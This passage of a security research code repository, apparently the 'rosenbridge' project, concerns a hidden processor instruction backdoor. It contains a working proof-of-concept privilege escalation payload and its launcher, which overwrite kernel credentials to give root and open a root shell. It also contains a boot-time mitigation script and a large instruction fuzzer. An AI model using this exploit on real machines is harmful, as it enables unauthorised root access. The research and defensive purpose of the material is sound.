%eax,0x80d1c5d0(,%eax,1)"); 41 | __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); 42 | 43 | /* launch a shell */ 44 | system("/bin/bash"); 45 | 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /esc/escalate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | __asm__ ("movl $payload, %eax"); 7 | __asm__ (".byte 0x0f, 0x3f"); 8 | __asm__ ("payload:"); 9 | #include "bin/payload.h" 10 | 11 | system("/bin/bash"); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /esc/payload.asm: -------------------------------------------------------------------------------- 1 | # 2 | # project:rosenbridge 3 | # domas // @xoreaxeaxeax 4 | # 5 | 6 | # a proof-of-concept hardware privilege escalation payload. 7 | 8 | # uses the deis-backdoor to reach into kernel memory and give the current 9 | # process root permissions. 10 | 11 | # written in deis-asm. 12 | 13 | # assemble with: 14 | # python ../asm/deis_asm.py payload.asm > payload.h 15 | 16 | # to assemble and build the payload into a functioning executable, run make. 17 | 18 | # this payload was written as a proof-of-concept against debian 6.0.10 (i386) - 19 | # the constants used would need to be updated to support other kernels. 20 | 21 | # gdt_base = get_gdt_base(); 22 | lgd eax 23 | 24 | # descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG); 25 | izx 0x78, edx 26 | ada edx 27 | 28 | # fs_base=((descriptor&0xff00000000000000ULL)>>32)| 29 | # ((descriptor&0x000000ff00000000ULL)>>16)| 30 | # ((descriptor&0x00000000ffff0000ULL)>>16); 31 | ad2 eax 32 | ld4 eax, edx 33 | ad2 eax 34 | ld4 eax, ebx 35 | zl3 ebx 36 | mov edx, eax 37 | la8 38 | ra8 39 | or ebx, eax 40 | 41 | # task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT); 42 | izx 0x5f20, ecx 43 | izx 0xc133, edx 44 | cmb ecx, edx 45 | ada edx 46 | ld4 eax, eax 47 | 48 | # cred = *(uint32_t*)(task_struct+OFFSET_CRED); 49 | izx 0x208, edx 50 | ada edx 51 | ld4 eax, eax 52 | 53 | # root = 0 54 | izx 0, edx 55 | 56 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root; 57 | izx 0x4, ecx 58 | ada ecx 59 | st4 edx, eax 60 | 61 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root; 62 | ada ecx 63 | st4 edx, eax 64 | 65 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root; 66 | ada ecx 67 | ada ecx 68 | st4 edx, eax 69 | 70 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root; 71 | ada ecx 72 | st4 edx, eax 73 | -------------------------------------------------------------------------------- /fix/Makefile: -------------------------------------------------------------------------------- 1 | # on make install, install lock_dies and lock_dies.sh 2 | 3 | all: 4 | make -C ../lock/ 5 | 6 | install: 7 | cp ../lock/bin/lock /usr/local/bin/lock_deis 8 | cp lock_deis.sh /etc/init.d/ 9 | update-rc.d /etc/init.d/lock_deis.sh defaults 10 | -------------------------------------------------------------------------------- /fix/lock_deis.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | modprobe msr 4 | /usr/bin/lock_deis 5 | -------------------------------------------------------------------------------- /fuzz/deis/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/fuzz_deis 2 | 3 | bin/fuzz_deis: fuzz_deis.c 4 | mkdir -p bin 5 | gcc -m32 fuzz_deis.c -o bin/fuzz_deis 6 | 7 | clean: 8 | rm -f bin/* 9 | -------------------------------------------------------------------------------- /fuzz/deis/fuzz_deis.c: -------------------------------------------------------------------------------- 1 | /* this program fuzzes deis instructions given a known wrapper */ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define SIMULATE 0 26 | 27 | #define TRACK_RING_0 1 28 | 29 | //TODO: these are hacky (sorry) 30 | #define USE_SEARCH_KERNEL 1 31 | #define TARGET_KERNEL 1 32 | 33 | #if TRACK_RING_0 34 | #include "../../kern/privregs/privregs.h" 35 | #define CR0_IGNORE_BITS 0x00000008 36 | #endif 37 | 38 | #if USE_SEARCH_KERNEL 39 | #include "../../kern/deis_kernel.h" 40 | #endif 41 | 42 | typedef enum { 43 | INSTRUCTION_MODE_RANDOM, 44 | INSTRUCTION_MODE_SEED 45 | } instruction_mode_t; 46 | //instruction_mode_t MODE=INSTRUCTION_MODE_RANDOM; 47 | instruction_mode_t MODE=INSTRUCTION_MODE_SEED; 48 | 49 | #define MAX_SEED_INS 1000000 50 | #include "seed_ins.h" /* selected from pattern extractor */ 51 | uint32_t seed_ins[MAX_SEED_INS]; 52 | int generated_seeded_ins; 53 | #define SEEDS_PER_INSN 64 54 | #define SEED_BITS 32 55 | #define SEED_MASK 0x0fffffff /* don't flip masked bits */ 56 | 57 | #define LINE_BREAK "------------------------------------------------\n" 58 | #define BUFFER_BYTES 32 /* must be > the number of fields in state_t + 7 */ 59 | 60 | #define BE(x) ((((x)>>24)&0x000000ff)|(((x)>>8)&0x0000ff00)|(((x)<<8)&0x00ff0000)|(((x)<<24)&0xff000000)) 61 | 62 | #define KEY_MARKER ". " /* prefix on lines that the log parser should keep */ 63 | 64 | #define RUN_TIMEOUT 1000000 /* useconds */ 65 | #define RESULT_TIMEOUT 50 /* runs */ 66 | 67 | /* delaying between each test gives time for the kernel logs to sync; fuzzing 68 | * bottleneck is in the reboots, not in this program, we can sleep as long as we 69 | * want with virtually no impact on throughput */ 70 | #define FUZZ_DELAY 500000 /* useconds, < RUN_TIMEOUT */ 71 | 72 | typedef struct instruction_t { 73 | unsigned char prefix[3]; 74 | unsigned int deis; 75 | } __attribute__ ((__packed__)) instruction_t; 76 | 77 | typedef struct { 78 | uint32_t eax; 79 | uint32_t ebx; 80 | uint32_t ecx; 81 | uint32_t edx; 82 | uint32_t esi; 83 | uint32_t edi; 84 | uint32_t ebp; 85 | uint32_t esp; 86 | union { 87 | uint64_t mm0; 88 | struct { 89 | uint32_t mm0l; 90 | uint32_t mm0h; 91 | } __attribute__ ((__packed__)); 92 | }; 93 | union { 94 | uint64_t mm1; 95 | struct { 96 | uint32_t mm1l; 97 | uint32_t mm1h; 98 | } __attribute__ ((__packed__)); 99 | }; 100 | union { 101 | uint64_t mm2; 102 | struct { 103 | uint32_t mm2l; 104 | uint32_t mm2h; 105 | } __attribute__ ((__packed__)); 106 | }; 107 | union { 108 | uint64_t mm3; 109 | struct { 110 | uint32_t mm3l; 111 | uint32_t mm3h; 112 | } __attribute__ ((__packed__)); 113 | }; 114 | union { 115 | uint64_t mm4; 116 | struct { 117 | uint32_t mm4l; 118 | uint32_t mm4h; 119 | } __attribute__ ((__packed__)); 120 | }; 121 | union { 122 | uint64_t mm5; 123 | struct { 124 | uint32_t mm5l; 125 | uint32_t mm5h; 126 | } __attribute__ ((__packed__)); 127 | }; 128 | union { 129 | uint64_t mm6; 130 | struct { 131 | uint32_t mm6l; 132 | uint32_t mm6h; 133 | } __attribute__ ((__packed__)); 134 | }; 135 | union { 136 | uint64_t mm7; 137 | struct { 138 | uint32_t mm7l; 139 | uint32_t mm7h; 140 | } __attribute__ ((__packed__)); 141 | }; 142 | uint32_t eflags; 143 | #if TRACK_RING_0 144 | uint32_t cr0; 145 | uint32_t cr2; 146 | uint32_t cr3; 147 | uint32_t cr4; 148 | uint32_t dr0; 149 | uint32_t dr1; 150 | uint32_t dr2; 151 | uint32_t dr3; 152 | uint32_t dr4; 153 | uint32_t dr5; 154 | uint32_t dr6; 155 | uint32_t dr7; 156 | #endif 157 | } state_t; 158 | 159 | typedef struct { 160 | uint8_t data[BUFFER_BYTES]; 161 | } mem_t; 162 | 163 | typedef enum { 164 | MEMORY_NOCHANGE, 165 | MEMORY_RANDOM, 166 | MEMORY_PATTERN, 167 | MEMORY_KERNEL, 168 | } mem_init_t; 169 | 170 | typedef enum { 171 | STATE_NOCHANGE, 172 | STATE_RANDOM, 173 | STATE_MEMORY, 174 | STATE_PATTERN, 175 | STATE_KERNEL, 176 | } state_init_t; 177 | 178 | typedef enum { 179 | #if USE_SEARCH_KERNEL 180 | SEARCH_KERNEL, 181 | #endif 182 | #if TARGET_KERNEL 183 | SEARCH_END, 184 | #endif 185 | SEARCH_MEMORY, 186 | SEARCH_STATE, 187 | #if !TARGET_KERNEL 188 | SEARCH_END, 189 | #endif 190 | } search_t; 191 | 192 | typedef enum { 193 | RUN_0, 194 | #if TARGET_KERNEL 195 | RUN_END, 196 | #endif 197 | RUN_1, 198 | RUN_2, 199 | RUN_3, 200 | #if !TARGET_KERNEL 201 | RUN_END, 202 | #endif 203 | } run_t; 204 | 205 | /* some issues with asm constraints if these are local */ 206 | state_t input_state, working_state, output_state; 207 | mem_t input_mem, output_mem; 208 | 209 | uint64_t* run_tick; /* shared */ 210 | uint64_t* result_tick; /* shared */ 211 | 212 | int main(void); 213 | unsigned long long llrand(void); 214 | void initialize_state(state_t*, state_init_t, mem_t*, mem_init_t); 215 | bool states_equal(state_t*, state_t*); 216 | bool memory_equal(mem_t*, mem_t*); 217 | void print_instruction(instruction_t*); 218 | void fuzz(void); 219 | void inject(void) __attribute__ ((section (".check,\"awx\",@progbits#"))); 220 | 221 | void initialize_state( 222 | state_t* state, 223 | state_init_t state_init, 224 | mem_t* mem, 225 | mem_init_t mem_init 226 | ) 227 | { 228 | int i; 229 | 230 | #if USE_SEARCH_KERNEL 231 | uintptr_t kernel_buffer; 232 | int handle; 233 | #endif 234 | 235 | switch (state_init) { 236 | case STATE_NOCHANGE: 237 | break; 238 | case STATE_RANDOM: 239 | state->eax=llrand(); 240 | state->ebx=llrand(); 241 | state->ecx=llrand(); 242 | state->edx=llrand(); 243 | state->esi=llrand(); 244 | state->edi=llrand(); 245 | state->ebp=llrand(); 246 | state->esp=llrand(); 247 | state->mm0=llrand(); 248 | state->mm1=llrand(); 249 | state->mm2=llrand(); 250 | state->mm3=llrand(); 251 | state->mm4=llrand(); 252 | state->mm5=llrand(); 253 | state->mm6=llrand(); 254 | state->mm7=llrand(); 255 | break; 256 | case STATE_MEMORY: 257 | state->eax=(uintptr_t)&mem->data[0]; 258 | state->ebx=(uintptr_t)&mem->data[1]; 259 | state->ecx=(uintptr_t)&mem->data[2]; 260 | state->edx=(uintptr_t)&mem->data[3]; 261 | state->esi=(uintptr_t)&mem->data[4]; 262 | state->edi=(uintptr_t)&mem->data[5]; 263 | state->ebp=(uintptr_t)&mem->data[6]; 264 | state->esp=(uintptr_t)&mem->data[7]; 265 | state->mm0=(uintptr_t)&mem->data[8]; 266 | state->mm1=(uintptr_t)&mem->data[9]; 267 | state->mm2=(uintptr_t)&mem->data[10]; 268 | state->mm3=(uintptr_t)&mem->data[11]; 269 | state->mm4=(uintptr_t)&mem->data[12]; 270 | state->mm5=(uintptr_t)&mem->data[13]; 271 | state->mm6=(uintptr_t)&mem->data[14]; 272 | state->mm7=(uintptr_t)&mem->data[15]; 273 | break; 274 | #if USE_SEARCH_KERNEL 275 | case STATE_KERNEL: 276 | handle=open("/dev/deis_kernel", O_RDWR); 277 | ioctl(handle, GET_BUFFER_ADDRESS, &kernel_buffer); 278 | //TODO: temp - initialize to 0 279 | /* 280 | state->eax=kernel_buffer+0; 281 | state->ebx=kernel_buffer+1; 282 | state->ecx=kernel_buffer+2; 283 | state->edx=kernel_buffer+3; 284 | state->esi=kernel_buffer+4; 285 | state->edi=kernel_buffer+5; 286 | state->ebp=kernel_buffer+6; 287 | state->esp=kernel_buffer+7; 288 | state->mm0=kernel_buffer+8; 289 | state->mm1=kernel_buffer+9; 290 | state->mm2=kernel_buffer+10; 291 | state->mm3=kernel_buffer+11; 292 | state->mm4=kernel_buffer+12; 293 | state->mm5=kernel_buffer+13; 294 | state->mm6=kernel_buffer+14; 295 | state->mm7=kernel_buffer+15; 296 | */ 297 | state->eax=0; 298 | state->ebx=0; 299 | state->ecx=0; 300 | state->edx=0; 301 | state->esi=0; 302 | state->edi=0; 303 | state->ebp=0; 304 | state->esp=0; 305 | state->mm0=0; 306 | state->mm1=0; 307 | state->mm2=0; 308 | state->mm3=0; 309 | state->mm4=0; 310 | state->mm5=0; 311 | state->mm6=0; 312 | state->mm7=0; 313 | close(handle); 314 | break; 315 | #endif 316 | case STATE_PATTERN: 317 | state->eax=0x00000000; 318 | state->ebx=0x11111111; 319 | state->ecx=0x22222222; 320 | state->edx=0x33333333; 321 | state->esi=0x44444444; 322 | state->edi=0x55555555; 323 | state->ebp=0x66666666; 324 | state->esp=0x77777777; 325 | 326 | state->mm0=0x8888888888888888ull; 327 | state->mm1=0x9999999999999999ull; 328 | state->mm2=0xaaaaaaaaaaaaaaaaull; 329 | state->mm3=0xbbbbbbbbbbbbbbbbull; 330 | state->mm4=0xccccccccccccccccull; 331 | state->mm5=0xddddddddddddddddull; 332 | state->mm6=0xeeeeeeeeeeeeeeeeull; 333 | state->mm7=0xffffffffffffffffull; 334 | break; 335 | default: 336 | assert(0); 337 | } 338 | 339 | switch (mem_init) { 340 | case MEMORY_NOCHANGE: 341 | break; 342 | case MEMORY_PATTERN: 343 | for (i=0; idata[i]=0x11*(i%16); 345 | } 346 | break; 347 | case MEMORY_RANDOM: 348 | for (i=0; idata[i]=rand(); 350 | } 351 | break; 352 | #if USE_SEARCH_KERNEL 353 | case MEMORY_KERNEL: 354 | /* nothing to initialize */ 355 | break; 356 | #endif 357 | default: 358 | assert(0); 359 | } 360 | } 361 | 362 | #if TRACK_RING_0 363 | void load_ring_0_state(state_t* state) 364 | { 365 | int handle; 366 | privregs_req_t req; 367 | 368 | handle=open("/dev/privregs", O_RDWR); 369 | 370 | req=(privregs_req_t){0, 0}; 371 | ioctl(handle, READ_DR, &req); 372 | state->dr0=req.val; 373 | 374 | req=(privregs_req_t){1, 0}; 375 | ioctl(handle, READ_DR, &req); 376 | state->dr1=req.val; 377 | 378 | req=(privregs_req_t){2, 0}; 379 | ioctl(handle, READ_DR, &req); 380 | state->dr2=req.val; 381 | 382 | req=(privregs_req_t){3, 0}; 383 | ioctl(handle, READ_DR, &req); 384 | state->dr3=req.val; 385 | 386 | req=(privregs_req_t){4, 0}; 387 | ioctl(handle, READ_DR, &req); 388 | state->dr4=req.val; 389 | 390 | req=(privregs_req_t){5, 0}; 391 | ioctl(handle, READ_DR, &req); 392 | state->dr5=req.val; 393 | 394 | req=(privregs_req_t){6, 0}; 395 | ioctl(handle, READ_DR, &req); 396 | state->dr6=req.val; 397 | 398 | req=(privregs_req_t){7, 0}; 399 | ioctl(handle, READ_DR, &req); 400 | state->dr7=req.val; 401 | 402 | req=(privregs_req_t){0, 0}; 403 | ioctl(handle, READ_CR, &req); 404 | state->cr0=req.val; 405 | 406 | req=(privregs_req_t){2, 0}; 407 | ioctl(handle, READ_CR, &req); 408 | state->cr2=req.val; 409 | 410 | req=(privregs_req_t){3, 0}; 411 | ioctl(handle, READ_CR, &req); 412 | state->cr3=req.val; 413 | 414 | req=(privregs_req_t){4, 0}; 415 | ioctl(handle, READ_CR, &req); 416 | state->cr4=req.val; 417 | 418 | close(handle); 419 | } 420 | #endif 421 | 422 | unsigned long long llrand(void) 423 | { 424 | int i; 425 | unsigned long long r=0; 426 | for (i=0; i<5; ++i) { 427 | r = (r<<15)|(rand()&0x7FFF); 428 | } 429 | return r&0xFFFFFFFFFFFFFFFFULL; 430 | } 431 | 432 | void print_binary(uint32_t x) 433 | { 434 | int i; 435 | for (i=0; i<32; i++) { 436 | if (i && i%4==0) { 437 | printf(" "); 438 | } 439 | printf("%d", x>>31); 440 | x<<=1; 441 | } 442 | } 443 | 444 | void print_instruction(instruction_t* ins) 445 | { 446 | printf("L(%08x)", ins->deis); 447 | 448 | printf(" "); 449 | printf("B(%08x)", BE(ins->deis)); 450 | 451 | printf(" "); 452 | printf("L("); 453 | print_binary(ins->deis); 454 | printf(")"); 455 | printf(" "); 456 | printf("B("); 457 | print_binary(BE(ins->deis)); 458 | printf(")"); 459 | printf("\n"); 460 | fflush(stdout); 461 | } 462 | 463 | void print_gpr_state_headers(void) 464 | { 465 | printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n", 466 | "eax", "ebx", "ecx", "edx", "esi", "edi", "ebp", "esp"); 467 | } 468 | 469 | void print_mmx_0_3_state_headers(void) 470 | { 471 | printf("%-18s %-18s %-18s %-18s\n", 472 | "mm0", "mm1", "mm2", "mm3"); 473 | } 474 | 475 | void print_mmx_4_7_state_headers(void) 476 | { 477 | printf("%-18s %-18s %-18s %-18s\n", 478 | "mm4", "mm5", "mm6", "mm7"); 479 | } 480 | 481 | void print_gpr_state(state_t* state) 482 | { 483 | printf("%08x ", state->eax); 484 | printf("%08x ", state->ebx); 485 | printf("%08x ", state->ecx); 486 | printf("%08x ", state->edx); 487 | printf("%08x ", state->esi); 488 | printf("%08x ", state->edi); 489 | printf("%08x ", state->ebp); 490 | printf("%08x ", state->esp); 491 | printf("\n"); 492 | } 493 | 494 | void print_byte_diff(uint8_t* x, uint8_t* y, int len, char* spacing_1, char* spacing_4) 495 | { 496 | int i; 497 | for (i=0; ieax, (uint8_t*)&state_2->eax, 4, "", " "); 517 | print_byte_diff((uint8_t*)&state_1->ebx, (uint8_t*)&state_2->ebx, 4, "", " "); 518 | print_byte_diff((uint8_t*)&state_1->ecx, (uint8_t*)&state_2->ecx, 4, "", " "); 519 | print_byte_diff((uint8_t*)&state_1->edx, (uint8_t*)&state_2->edx, 4, "", " "); 520 | print_byte_diff((uint8_t*)&state_1->esi, (uint8_t*)&state_2->esi, 4, "", " "); 521 | print_byte_diff((uint8_t*)&state_1->edi, (uint8_t*)&state_2->edi, 4, "", " "); 522 | print_byte_diff((uint8_t*)&state_1->ebp, (uint8_t*)&state_2->ebp, 4, "", " "); 523 | print_byte_diff((uint8_t*)&state_1->esp, (uint8_t*)&state_2->esp, 4, "", " "); 524 | printf("\n"); 525 | } 526 | 527 | void print_mmx_0_3_state_diff(state_t* state_1, state_t* state_2) 528 | { 529 | print_byte_diff((uint8_t*)&state_1->mm0, (uint8_t*)&state_2->mm0, 8, "", " "); 530 | print_byte_diff((uint8_t*)&state_1->mm1, (uint8_t*)&state_2->mm1, 8, "", " "); 531 | print_byte_diff((uint8_t*)&state_1->mm2, (uint8_t*)&state_2->mm2, 8, "", " "); 532 | print_byte_diff((uint8_t*)&state_1->mm3, (uint8_t*)&state_2->mm3, 8, "", " "); 533 | printf("\n"); 534 | } 535 | 536 | void print_mmx_4_7_state_diff(state_t* state_1, state_t* state_2) 537 | { 538 | print_byte_diff((uint8_t*)&state_1->mm4, (uint8_t*)&state_2->mm4, 8, "", " "); 539 | print_byte_diff((uint8_t*)&state_1->mm5, (uint8_t*)&state_2->mm5, 8, "", " "); 540 | print_byte_diff((uint8_t*)&state_1->mm6, (uint8_t*)&state_2->mm6, 8, "", " "); 541 | print_byte_diff((uint8_t*)&state_1->mm7, (uint8_t*)&state_2->mm7, 8, "", " "); 542 | printf("\n"); 543 | } 544 | 545 | void print_mmx_0_3_state(state_t* state) 546 | { 547 | printf("%08x %08x ", state->mm0h, state->mm0l); 548 | printf("%08x %08x ", state->mm1h, state->mm1l); 549 | printf("%08x %08x ", state->mm2h, state->mm2l); 550 | printf("%08x %08x ", state->mm3h, state->mm3l); 551 | printf("\n"); 552 | } 553 | 554 | void print_mmx_4_7_state(state_t* state) 555 | { 556 | printf("%08x %08x ", state->mm4h, state->mm4l); 557 | printf("%08x %08x ", state->mm5h, state->mm5l); 558 | printf("%08x %08x ", state->mm6h, state->mm6l); 559 | printf("%08x %08x ", state->mm7h, state->mm7l); 560 | printf("\n"); 561 | } 562 | 563 | void print_memory_headers(void) 564 | { 565 | int i; 566 | for (i=0; i0 && i%4==0) { 568 | printf(" "); 569 | } 570 | if (i%4==0) { 571 | printf("%02x ", i); 572 | } 573 | else { 574 | printf(" "); 575 | } 576 | } 577 | printf("\n"); 578 | } 579 | 580 | void print_memory(mem_t* mem) 581 | { 582 | int i; 583 | for (i=0; i0 && i%4==0) { 585 | printf(" "); 586 | } 587 | printf("%02x ", mem->data[i]); 588 | } 589 | printf("\n"); 590 | } 591 | 592 | void print_memory_diff_summary(mem_t* mem_1, mem_t* mem_2) 593 | { 594 | int i; 595 | for (i=0; i0 && i%4==0) { 597 | printf(" "); 598 | } 599 | if (mem_1->data[i]!=mem_2->data[i]) { 600 | printf("^^ "); 601 | } 602 | else { 603 | printf(" "); 604 | } 605 | } 606 | printf("\n"); 607 | } 608 | 609 | bool states_equal(state_t* state_1, state_t* state_2) 610 | { 611 | return 612 | state_1->eax==state_2->eax && 613 | state_1->ebx==state_2->ebx && 614 | state_1->ecx==state_2->ecx && 615 | state_1->edx==state_2->edx && 616 | state_1->esi==state_2->esi && 617 | state_1->edi==state_2->edi && 618 | state_1->ebp==state_2->ebp && 619 | state_1->esp==state_2->esp && 620 | state_1->mm0==state_2->mm0 && 621 | state_1->mm1==state_2->mm1 && 622 | state_1->mm2==state_2->mm2 && 623 | state_1->mm3==state_2->mm3 && 624 | state_1->mm4==state_2->mm4 && 625 | state_1->mm5==state_2->mm5 && 626 | state_1->mm6==state_2->mm6 && 627 | state_1->mm7==state_2->mm7 628 | #if TRACK_RING_0 629 | && 630 | (state_1->cr0&~CR0_IGNORE_BITS)==(state_2->cr0&~CR0_IGNORE_BITS) && 631 | state_1->cr2==state_2->cr2 && 632 | state_1->cr3==state_2->cr3 && 633 | state_1->cr4==state_2->cr4 && 634 | state_1->dr0==state_2->dr0 && 635 | state_1->dr1==state_2->dr1 && 636 | state_1->dr2==state_2->dr2 && 637 | state_1->dr3==state_2->dr3 && 638 | state_1->dr4==state_2->dr4 && 639 | state_1->dr5==state_2->dr5 && 640 | state_1->dr6==state_2->dr6 && 641 | state_1->dr7==state_2->dr7 642 | #endif 643 | ; 644 | } 645 | 646 | bool memory_equal(mem_t* mem_1, mem_t* mem_2) 647 | { 648 | return (memcmp(mem_1,mem_2,sizeof(mem_t))==0); 649 | } 650 | 651 | void inject(void) 652 | { 653 | #if USE_SEARCH_KERNEL 654 | int handle; 655 | handle=open("/dev/deis_kernel", O_RDWR); 656 | ioctl(handle, READ_BUFFER, &input_mem.data); 657 | close(handle); 658 | #endif 659 | 660 | #if TRACK_RING_0 661 | load_ring_0_state(&input_state); 662 | #endif 663 | 664 | __asm__ __volatile__ ("\ 665 | pushfl \n\ 666 | popl %[input_eflags] \n\ 667 | " 668 | : [input_eflags]"=m"(input_state.eflags) 669 | : 670 | ); 671 | 672 | __asm__ __volatile__ ("\ 673 | movl %%eax, %[working_eax] \n\ 674 | movl %%ebx, %[working_ebx] \n\ 675 | movl %%ecx, %[working_ecx] \n\ 676 | movl %%edx, %[working_edx] \n\ 677 | movl %%esi, %[working_esi] \n\ 678 | movl %%edi, %[working_edi] \n\ 679 | movl %%ebp, %[working_ebp] \n\ 680 | movl %%esp, %[working_esp] \n\ 681 | " 682 | : /* set to input registers to work around gcc error */ 683 | /* 684 | [working_eax]"+m"(working_state.eax), 685 | [working_ebx]"+m"(working_state.ebx), 686 | [working_ecx]"+m"(working_state.ecx), 687 | [working_edx]"+m"(working_state.edx), 688 | [working_esi]"+m"(working_state.esi), 689 | [working_edi]"+m"(working_state.edi), 690 | [working_ebp]"+m"(working_state.ebp), 691 | [working_esp]"+m"(working_state.esp) 692 | */ 693 | : [working_eax]"m"(working_state.eax), 694 | [working_ebx]"m"(working_state.ebx), 695 | [working_ecx]"m"(working_state.ecx), 696 | [working_edx]"m"(working_state.edx), 697 | [working_esi]"m"(working_state.esi), 698 | [working_edi]"m"(working_state.edi), 699 | [working_ebp]"m"(working_state.ebp), 700 | [working_esp]"m"(working_state.esp) 701 | ); 702 | 703 | __asm__ __volatile__ ("\ 704 | movq %%mm0, %[working_mm0] \n\ 705 | movq %%mm1, %[working_mm1] \n\ 706 | movq %%mm2, %[working_mm2] \n\ 707 | movq %%mm3, %[working_mm3] \n\ 708 | movq %%mm4, %[working_mm4] \n\ 709 | movq %%mm5, %[working_mm5] \n\ 710 | movq %%mm6, %[working_mm6] \n\ 711 | movq %%mm7, %[working_mm7] \n\ 712 | " 713 | : /* set to input registers to work around gcc error */ 714 | : [working_mm0]"m"(working_state.mm0), 715 | [working_mm1]"m"(working_state.mm1), 716 | [working_mm2]"m"(working_state.mm2), 717 | [working_mm3]"m"(working_state.mm3), 718 | [working_mm4]"m"(working_state.mm4), 719 | [working_mm5]"m"(working_state.mm5), 720 | [working_mm6]"m"(working_state.mm6), 721 | [working_mm7]"m"(working_state.mm7) 722 | ); 723 | 724 | __asm__ __volatile__ ("\ 725 | movq %[input_mm0], %%mm0 \n\ 726 | movq %[input_mm1], %%mm1 \n\ 727 | movq %[input_mm2], %%mm2 \n\ 728 | movq %[input_mm3], %%mm3 \n\ 729 | movq %[input_mm4], %%mm4 \n\ 730 | movq %[input_mm5], %%mm5 \n\ 731 | movq %[input_mm6], %%mm6 \n\ 732 | movq %[input_mm7], %%mm7 \n\ 733 | " 734 | : 735 | : [input_mm0]"m"(input_state.mm0), 736 | [input_mm1]"m"(input_state.mm1), 737 | [input_mm2]"m"(input_state.mm2), 738 | [input_mm3]"m"(input_state.mm3), 739 | [input_mm4]"m"(input_state.mm4), 740 | [input_mm5]"m"(input_state.mm5), 741 | [input_mm6]"m"(input_state.mm6), 742 | [input_mm7]"m"(input_state.mm7) 743 | ); 744 | 745 | __asm__ __volatile__ ("\ 746 | movl %[input_eax], %%eax \n\ 747 | movl %[input_ebx], %%ebx \n\ 748 | movl %[input_ecx], %%ecx \n\ 749 | movl %[input_edx], %%edx \n\ 750 | movl %[input_esi], %%esi \n\ 751 | movl %[input_edi], %%edi \n\ 752 | movl %[input_ebp], %%ebp \n\ 753 | movl %[input_esp], %%esp \n\ 754 | debug: \n\ 755 | " 756 | #if !SIMULATE 757 | "\ 758 | .byte 0x0f, 0x3f \n\ 759 | " 760 | #else 761 | "\ 762 | movl $0xdeadbeef, (%%edx) \n\ 763 | movw $0x1337, %%cx \n\ 764 | movq (_bridge), %%mm0 \n\ 765 | " 766 | #endif 767 | "\ 768 | _bridge: \n\ 769 | .space 0x1000, 0x90 \n\ 770 | \n\ 771 | movl %%eax, %[output_eax] \n\ 772 | movl %%ebx, %[output_ebx] \n\ 773 | movl %%ecx, %[output_ecx] \n\ 774 | movl %%edx, %[output_edx] \n\ 775 | movl %%esi, %[output_esi] \n\ 776 | movl %%edi, %[output_edi] \n\ 777 | movl %%ebp, %[output_ebp] \n\ 778 | movl %%esp, %[output_esp] \n\ 779 | \n\ 780 | " 781 | : /* set as input registers to work around gcc error */ 782 | /* 783 | [output_eax]"+m"(output_state.eax), 784 | [output_ebx]"+m"(output_state.ebx), 785 | [output_ecx]"+m"(output_state.ecx), 786 | [output_edx]"+m"(output_state.edx), 787 | [output_esi]"+m"(output_state.esi), 788 | [output_edi]"+m"(output_state.edi), 789 | [output_ebp]"+m"(output_state.ebp), 790 | [output_esp]"+m"(output_state.esp) 791 | */ 792 | : [output_eax]"m"(output_state.eax), 793 | [output_ebx]"m"(output_state.ebx), 794 | [output_ecx]"m"(output_state.ecx), 795 | [output_edx]"m"(output_state.edx), 796 | [output_esi]"m"(output_state.esi), 797 | [output_edi]"m"(output_state.edi), 798 | [output_ebp]"m"(output_state.ebp), 799 | [output_esp]"m"(output_state.esp), 800 | [input_eax]"m"(input_state.eax), 801 | [input_ebx]"m"(input_state.ebx), 802 | [input_ecx]"m"(input_state.ecx), 803 | [input_edx]"m"(input_state.edx), 804 | [input_esi]"m"(input_state.esi), 805 | [input_edi]"m"(input_state.edi), 806 | [input_ebp]"m"(input_state.ebp), 807 | [input_esp]"m"(input_state.esp) 808 | ); 809 | 810 | __asm__ __volatile__ ("\ 811 | movq %%mm0, %[output_mm0] \n\ 812 | movq %%mm1, %[output_mm1] \n\ 813 | movq %%mm2, %[output_mm2] \n\ 814 | movq %%mm3, %[output_mm3] \n\ 815 | movq %%mm4, %[output_mm4] \n\ 816 | movq %%mm5, %[output_mm5] \n\ 817 | movq %%mm6, %[output_mm6] \n\ 818 | movq %%mm7, %[output_mm7] \n\ 819 | " 820 | : /* set to input registers to work around gcc error */ 821 | : [output_mm0]"m"(output_state.mm0), 822 | [output_mm1]"m"(output_state.mm1), 823 | [output_mm2]"m"(output_state.mm2), 824 | [output_mm3]"m"(output_state.mm3), 825 | [output_mm4]"m"(output_state.mm4), 826 | [output_mm5]"m"(output_state.mm5), 827 | [output_mm6]"m"(output_state.mm6), 828 | [output_mm7]"m"(output_state.mm7) 829 | ); 830 | 831 | __asm__ __volatile__ ("\ 832 | movl %[working_eax], %%eax \n\ 833 | movl %[working_ebx], %%ebx \n\ 834 | movl %[working_ecx], %%ecx \n\ 835 | movl %[working_edx], %%edx \n\ 836 | movl %[working_esi], %%esi \n\ 837 | movl %[working_edi], %%edi \n\ 838 | movl %[working_ebp], %%ebp \n\ 839 | movl %[working_esp], %%esp \n\ 840 | " 841 | : 842 | : [working_eax]"m"(working_state.eax), 843 | [working_ebx]"m"(working_state.ebx), 844 | [working_ecx]"m"(working_state.ecx), 845 | [working_edx]"m"(working_state.edx), 846 | [working_esi]"m"(working_state.esi), 847 | [working_edi]"m"(working_state.edi), 848 | [working_ebp]"m"(working_state.ebp), 849 | [working_esp]"m"(working_state.esp) 850 | ); 851 | 852 | __asm__ __volatile__ ("\ 853 | movq %[working_mm0], %%mm0 \n\ 854 | movq %[working_mm1], %%mm1 \n\ 855 | movq %[working_mm2], %%mm2 \n\ 856 | movq %[working_mm3], %%mm3 